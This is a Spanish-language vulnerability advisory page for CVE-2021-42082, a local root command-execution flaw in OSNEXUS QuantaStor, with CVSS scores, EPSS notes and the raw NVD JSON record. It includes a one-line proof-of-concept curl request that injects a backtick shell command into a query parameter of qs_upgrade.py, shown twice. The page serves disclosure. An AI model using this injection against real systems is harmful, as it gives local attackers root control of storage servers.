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CVE-2021-42082

Estado: ModificadaAlta (7.8)—

Local users are able to execute scripts under root privileges.

POC

On the local host run the following command:

curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;`whoami`'

CVSS

Probabilidad de explotación (EPSS)

EPSS (Exploit Prediction Scoring System, de FIRST) estima la probabilidad de que una vulnerabilidad sea explotada en 30 días. Complementa a CVSS (impacto) y a CISA KEV (explotación confirmada).

Tecnologías afectadas (1)

Osnexus — Quantastor

CWE

Referencias

JSON original (NVD)

Mostrar
{
  "id": "CVE-2021-42082",
  "cveTags": [],
  "metrics": {
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2021-42082",
          "role": "CISA Coordinator",
          "options": [
            {
              "exploitation": "none"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "version": "2.0.3",
          "timestamp": "2024-11-12T14:16:04.030763Z"
        }
      }
    ],
    "cvssMetricV31": [
      {
        "type": "Secondary",
        "source": "csirt@divd.nl",
        "cvssData": {
          "scope": "UNCHANGED",
          "version": "3.1",
          "baseScore": 7.8,
          "attackVector": "LOCAL",
          "baseSeverity": "HIGH",
          "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
          "integrityImpact": "HIGH",
          "userInteraction": "NONE",
          "attackComplexity": "LOW",
          "availabilityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "confidentialityImpact": "HIGH"
        },
        "impactScore": 5.9,
        "exploitabilityScore": 1.8
      },
      {
        "type": "Primary",
        "source": "nvd@nist.gov",
        "cvssData": {
          "scope": "UNCHANGED",
          "version": "3.1",
          "baseScore": 7.8,
          "attackVector": "LOCAL",
          "baseSeverity": "HIGH",
          "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
          "integrityImpact": "HIGH",
          "userInteraction": "NONE",
          "attackComplexity": "LOW",
          "availabilityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "confidentialityImpact": "HIGH"
        },
        "impactScore": 5.9,
        "exploitabilityScore": 1.8
      }
    ]
  },
  "affected": [
    {
      "source": "csirt@divd.nl",
      "affectedData": [
        {
          "vendor": "OSNEXUS",
          "product": "QuantaStor",
          "versions": [
            {
              "status": "affected",
              "version": "0",
              "lessThan": "6.0.0.355",
              "versionType": "semver"
            }
          ],
          "platforms": [
            "Windows",
            "Linux"
          ],
          "collectionURL": "https://www.osnexus.com/downloads",
          "defaultStatus": "unknown"
        }
      ]
    }
  ],
  "published": "2023-07-10T16:15:47.637",
  "references": [
    {
      "url": "https://csirt.divd.nl/CVE-2021-42082",
      "tags": [
        "Third Party Advisory"
      ],
      "source": "csirt@divd.nl"
    },
    {
      "url": "https://csirt.divd.nl/DIVD-2021-00020/",
      "source": "csirt@divd.nl"
    },
    {
      "url": "https://www.osnexus.com/products/software-defined-storage",
      "tags": [
        "Product"
      ],
      "source": "csirt@divd.nl"
    },
    {
      "url": "https://www.wbsec.nl/osnexus",
      "tags": [
        "Third Party Advisory"
      ],
      "source": "csirt@divd.nl"
    },
    {
      "url": "https://csirt.divd.nl/CVE-2021-42082",
      "tags": [
        "Third Party Advisory"
      ],
      "source": "af854a3a-2127-422b-91ae-364da2661108"
    },
    {
      "url": "https://www.divd.nl/DIVD-2021-00020",
      "source": "af854a3a-2127-422b-91ae-364da2661108"
    },
    {
      "url": "https://www.osnexus.com/products/software-defined-storage",
      "tags": [
        "Product"
      ],
      "source": "af854a3a-2127-422b-91ae-364da2661108"
    },
    {
      "url": "https://www.wbsec.nl/osnexus",
      "tags": [
        "Third Party Advisory"
      ],
      "source": "af854a3a-2127-422b-91ae-364da2661108"
    }
  ],
  "vulnStatus": "Modified",
  "weaknesses": [
    {
      "type": "Secondary",
      "source": "csirt@divd.nl",
      "description": [
        {
          "lang": "en",
          "value": "CWE-269"
        }
      ]
    },
    {
      "type": "Primary",
      "source": "nvd@nist.gov",
      "description": [
        {
          "lang": "en",
          "value": "CWE-269"
        }
      ]
    }
  ],
  "descriptions": [
    {
      "lang": "en",
      "value": "Local users are able to execute scripts under root privileges.\n\nPOC\n\nOn the local host run the following command:\n\ncurl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;`whoami`'"
    }
  ],
  "lastModified": "2026-06-17T04:09:16.970",
  "configurations": [
    {
      "nodes": [
        {
          "negate": false,
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:osnexus:quantastor:*:*:*:*:*:*:*:*",
              "vulnerable": true,
              "matchCriteriaId": "5E101217-36C7-4C28-8C61-7744481D2D0E",
              "versionEndExcluding": "6.0.0.355"
            }
          ],
          "operator": "OR"
        }
      ]
    }
  ],
  "sourceIdentifier": "csirt@divd.nl"
}